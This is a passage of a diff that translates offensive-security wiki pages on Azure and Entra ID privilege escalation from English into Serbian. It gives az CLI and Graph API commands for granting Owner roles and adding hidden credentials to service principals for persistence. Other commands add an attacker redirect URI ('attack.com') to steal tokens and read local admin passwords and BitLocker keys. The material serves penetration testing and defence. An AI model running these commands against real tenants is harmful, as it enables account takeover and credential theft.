|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Az - Privilege Escalation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Az - Eskalacija privilegija
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Services
|
||||
|
||||
For more information about Azure App services check:
|
||||
Za više informacija o Azure App uslugama pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-service.md
|
||||
@@ -12,17 +12,14 @@ For more information about Azure App services check:
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
|
||||
These permissions allows to call the following commands to get a **SSH shell** inside a web app
|
||||
|
||||
- Direct option:
|
||||
Ove dozvole omogućavaju pozivanje sledećih komandi za dobijanje **SSH shell** unutar web aplikacije
|
||||
|
||||
- Direktna opcija:
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
- Create tunnel and then connect to SSH:
|
||||
|
||||
- Kreirajte tunel, a zatim se povežite na SSH:
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
@@ -35,9 +32,4 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Fore more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
@@ -12,45 +12,38 @@ Fore more information check:
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
|
||||
|
||||
Ova dozvola omogućava dodeljivanje uloga principima unutar specifičnog opsega, omogućavajući napadaču da eskalira privilegije dodeljivanjem sebi privilegovanije uloge:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
|
||||
|
||||
Create the file `role.json` with the following **content**:
|
||||
Ova dozvola omogućava modifikaciju dozvola koje dodeljuje uloga, omogućavajući napadaču da eskalira privilegije dodeljivanjem više dozvola ulozi koju je dodelio.
|
||||
|
||||
Kreirajte datoteku `role.json` sa sledećim **sadržajem**:
|
||||
```json
|
||||
{
|
||||
"Name": "<name of the role>",
|
||||
"IsCustom": true,
|
||||
"Description": "Custom role with elevated privileges",
|
||||
"Actions": ["*"],
|
||||
"NotActions": [],
|
||||
"DataActions": ["*"],
|
||||
"NotDataActions": [],
|
||||
"AssignableScopes": ["/subscriptions/<subscription-id>"]
|
||||
"Name": "<name of the role>",
|
||||
"IsCustom": true,
|
||||
"Description": "Custom role with elevated privileges",
|
||||
"Actions": ["*"],
|
||||
"NotActions": [],
|
||||
"DataActions": ["*"],
|
||||
"NotDataActions": [],
|
||||
"AssignableScopes": ["/subscriptions/<subscription-id>"]
|
||||
}
|
||||
```
|
||||
|
||||
Then update the role permissions with the previous definition calling:
|
||||
|
||||
Zatim ažurirajte dozvole uloge sa prethodnom definicijom pozivajući:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
|
||||
Ova dozvola omogućava podizanje privilegija i dodeljivanje dozvola bilo kojem principalu za Azure resurse. Namenjena je Entra ID Global Administratorima kako bi mogli da upravljaju dozvolama nad Azure resursima.
|
||||
|
||||
> [!TIP]
|
||||
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
|
||||
|
||||
> Mislim da korisnik treba da bude Global Administrator u Entra ID da bi poziv za podizanje radio.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -58,29 +51,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
|
||||
# Grant a user the Owner role
|
||||
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
|
||||
|
||||
Example command to give access to a repo in Github to the a managed identity:
|
||||
Ova dozvola omogućava dodavanje federisanih kredencijala upravljanim identitetima. Na primer, omogućava pristup Github Actions u repozitorijumu upravljanom identitetu. Zatim, omogućava **pristup bilo kojem korisnički definisanom upravljanom identitetu**.
|
||||
|
||||
Primer komande za davanje pristupa repozitorijumu u Github-u upravljanom identitetu:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
|
||||
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
|
||||
|
||||
# Example with specific data:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,80 +3,71 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
|
||||
> Imajte na umu da **neke granularne dozvole** koje imaju ugrađene uloge u Entra ID **nisu podobne za korišćenje u prilagođenim ulogama.**
|
||||
|
||||
## Roles
|
||||
## Uloge
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
### Uloga: Administrator privilegovanih uloga <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
|
||||
|
||||
- Assign role to a user:
|
||||
Ova uloga sadrži potrebne granularne dozvole da bi mogla da dodeljuje uloge principima i da daje više dozvola ulogama. Ove akcije se mogu zloupotrebiti za eskalaciju privilegija.
|
||||
|
||||
- Dodeli ulogu korisniku:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# Give role (Global Administrator?) to a user
|
||||
roleId="<roleId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
|
||||
- Add more permissions to a role:
|
||||
|
||||
- Dodajte više dozvola ulozi:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
|
||||
# Change the permissions of a custom role
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"description": "Update basic properties of application registrations",
|
||||
"rolePermissions": [
|
||||
{
|
||||
"allowedResourceActions": [
|
||||
"microsoft.directory/applications/credentials/update"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"description": "Update basic properties of application registrations",
|
||||
"rolePermissions": [
|
||||
{
|
||||
"allowedResourceActions": [
|
||||
"microsoft.directory/applications/credentials/update"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
## Applications
|
||||
## Aplikacije
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges.
|
||||
|
||||
Ovo omogućava napadaču da **dodaje akreditive** (lozinke ili sertifikate) postojećim aplikacijama. Ako aplikacija ima privilegovane dozvole, napadač može da se autentifikuje kao ta aplikacija i stekne te privilegije.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
# Generate a new certificate without overwritting old ones
|
||||
az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.
|
||||
|
||||
Ovo omogućava iste radnje kao `applications/credentials/update`, ali je ograničeno na aplikacije unutar jedne direktorije.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions.
|
||||
|
||||
Dodavanjem sebe kao vlasnika, napadač može manipulisati aplikacijom, uključujući kredencijale i dozvole.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -84,78 +75,66 @@ az ad app credential reset --id <appId> --append
|
||||
# You can check the owners with
|
||||
az ad app owner list --id <appId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything.
|
||||
|
||||
Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions.
|
||||
Napadač može dodati URI za preusmeravanje aplikacijama koje koriste korisnici tenanta i zatim podeliti sa njima URL-ove za prijavu koji koriste novi URL za preusmeravanje kako bi ukrao njihove tokene. Imajte na umu da, ako je korisnik već bio prijavljen u aplikaciju, autentifikacija će biti automatska bez potrebe da korisnik bilo šta prihvati.
|
||||
|
||||
Imajte na umu da je takođe moguće promeniti dozvole koje aplikacija zahteva kako bi dobila više dozvola, ali u ovom slučaju korisnik će morati ponovo da prihvati prozor koji traži sve dozvole.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
Ovo omogućava napadaču da doda akreditive postojećim servisnim principalima. Ako servisni principal ima povišene privilegije, napadač može preuzeti te privilegije.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\
|
||||
> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
|
||||
> Nova generisana lozinka se neće pojaviti u web konzoli, tako da bi ovo mogla biti stealth metoda za održavanje postojanosti nad servisnim principalom.\
|
||||
> Iz API-ja se mogu pronaći sa: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
Ako dobijete grešku `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` to je zato što **nije moguće modifikovati svojstvo passwordCredentials** SP-a i prvo ga morate otključati. Za to vam je potrebna dozvola (`microsoft.directory/applications/allProperties/update`) koja vam omogućava da izvršite:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
Ovo omogućava napadaču da doda akreditive postojećim servisnim principalima. Ako servisni principal ima povišene privilegije, napadač može preuzeti te privilegije.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions.
|
||||
|
||||
Slično aplikacijama, ova dozvola omogućava dodavanje više vlasnika servisa. Vlasništvo nad servisom omogućava kontrolu nad njegovim akreditivima i dozvolama.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
|
||||
# You can check the owners with
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**.
|
||||
> Nakon što sam dodao novog vlasnika, pokušao sam da ga uklonim, ali API je odgovorio da DELETE metoda nije podržana, čak i ako je to metoda koju treba koristiti za brisanje vlasnika. Dakle, **ne možete ukloniti vlasnike danas**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` i `enable`
|
||||
|
||||
These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.
|
||||
|
||||
Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.
|
||||
Ove dozvole omogućavaju onemogućavanje i omogućavanje servisnih principala. Napadač bi mogao iskoristiti ovu dozvolu da omogući servisnog principala do kojeg može doći na neki način kako bi eskalirao privilegije.
|
||||
|
||||
Napomena: za ovu tehniku napadač će trebati više dozvola kako bi preuzeo omogućeni servisni principala.
|
||||
```bash
|
||||
bashCopy code# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -163,11 +142,9 @@ az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
# Enable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.
|
||||
|
||||
Ove dozvole omogućavaju kreiranje i dobijanje kredencijala za jedinstveno prijavljivanje, što može omogućiti pristup aplikacijama trećih strana.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -175,176 +152,155 @@ user_or_group_id="<id>"
|
||||
username="<username>"
|
||||
password="<password>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
|
||||
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
|
||||
|
||||
|
||||
# Get credentials of a specific credID
|
||||
credID="<credID>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Groups
|
||||
## Grupe
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
This permission allows to add users to privileged groups, leading to privilege escalation.
|
||||
|
||||
Ova dozvola omogućava dodavanje korisnika u privilegovane grupe, što dovodi do eskalacije privilegija.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
**Napomena**: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group.
|
||||
|
||||
Ova dozvola omogućava postajanje vlasnikom grupa. Vlasnik grupe može kontrolisati članstvo u grupi i postavke, potencijalno eskalirajući privilegije u grupi.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
**Napomena**: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access.
|
||||
|
||||
Ova dozvola omogućava dodavanje članova u grupu. Napadač može dodati sebe ili zlonamerne naloge u privilegovane grupe, što može omogućiti povišen pristup.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.
|
||||
|
||||
Ova dozvola omogućava ažuriranje pravila članstva u dinamičkoj grupi. Napadač bi mogao da izmeni dinamička pravila kako bi se uključio u privilegovane grupe bez eksplicitnog dodavanja.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**Napomena**: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
### Dinamičke Grupe Privesc
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check:
|
||||
Možda je moguće da korisnici eskaliraju privilegije modifikovanjem svojih svojstava kako bi bili dodati kao članovi dinamičkih grupa. Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
## Users
|
||||
## Korisnici
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.
|
||||
|
||||
Ova dozvola omogućava resetovanje lozinke za ne-administrativne korisnike, omogućavajući potencijalnom napadaču da eskalira privilegije na druge korisnike. Ova dozvola ne može biti dodeljena prilagođenim ulogama.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges.
|
||||
|
||||
Ova privilegija omogućava modifikaciju svojstava korisnika. Uobičajeno je pronaći dinamičke grupe koje dodaju korisnike na osnovu vrednosti svojstava, stoga, ova dozvola može omogućiti korisniku da postavi potrebnu vrednost svojstva kako bi postao član određene dinamičke grupe i eskalirao privilegije.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
managerUser="<userID>"
|
||||
az rest --method PUT \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
|
||||
|
||||
#e.g. change department of a user
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Politike uslovnog pristupa i zaobilaženje MFA
|
||||
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
Misconfigured conditional access policies requiring MFA could be bypassed, check:
|
||||
Pogrešno konfigurisane politike uslovnog pristupa koje zahtevaju MFA mogu se zaobići, proverite:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Devices
|
||||
## Uređaji
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data.
|
||||
|
||||
Ova dozvola omogućava napadačima da se dodele kao vlasnici uređaja kako bi stekli kontrolu ili pristup podešavanjima i podacima specifičnim za uređaj.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
This permission allows attackers to associate their account with devices to gain access or to bypass security policies.
|
||||
|
||||
Ova dozvola omogućava napadačima da povežu svoj nalog sa uređajima kako bi dobili pristup ili zaobišli bezbednosne politike.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password
|
||||
|
||||
Ova dozvola omogućava napadačima da čitaju svojstva rezervnih lokalnih administratorskih naloga za uređaje povezane sa Microsoft Entra, uključujući lozinku.
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
|
||||
|
||||
# Get credentials
|
||||
deviceLC="<deviceLCID>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
|
||||
```
|
||||
|
||||
## BitlockerKeys
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality.
|
||||
|
||||
Ova dozvola omogućava pristup BitLocker ključevima, što može omogućiti napadaču da dekriptuje diskove, ugrožavajući poverljivost podataka.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
|
||||
|
||||
# Get key
|
||||
recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
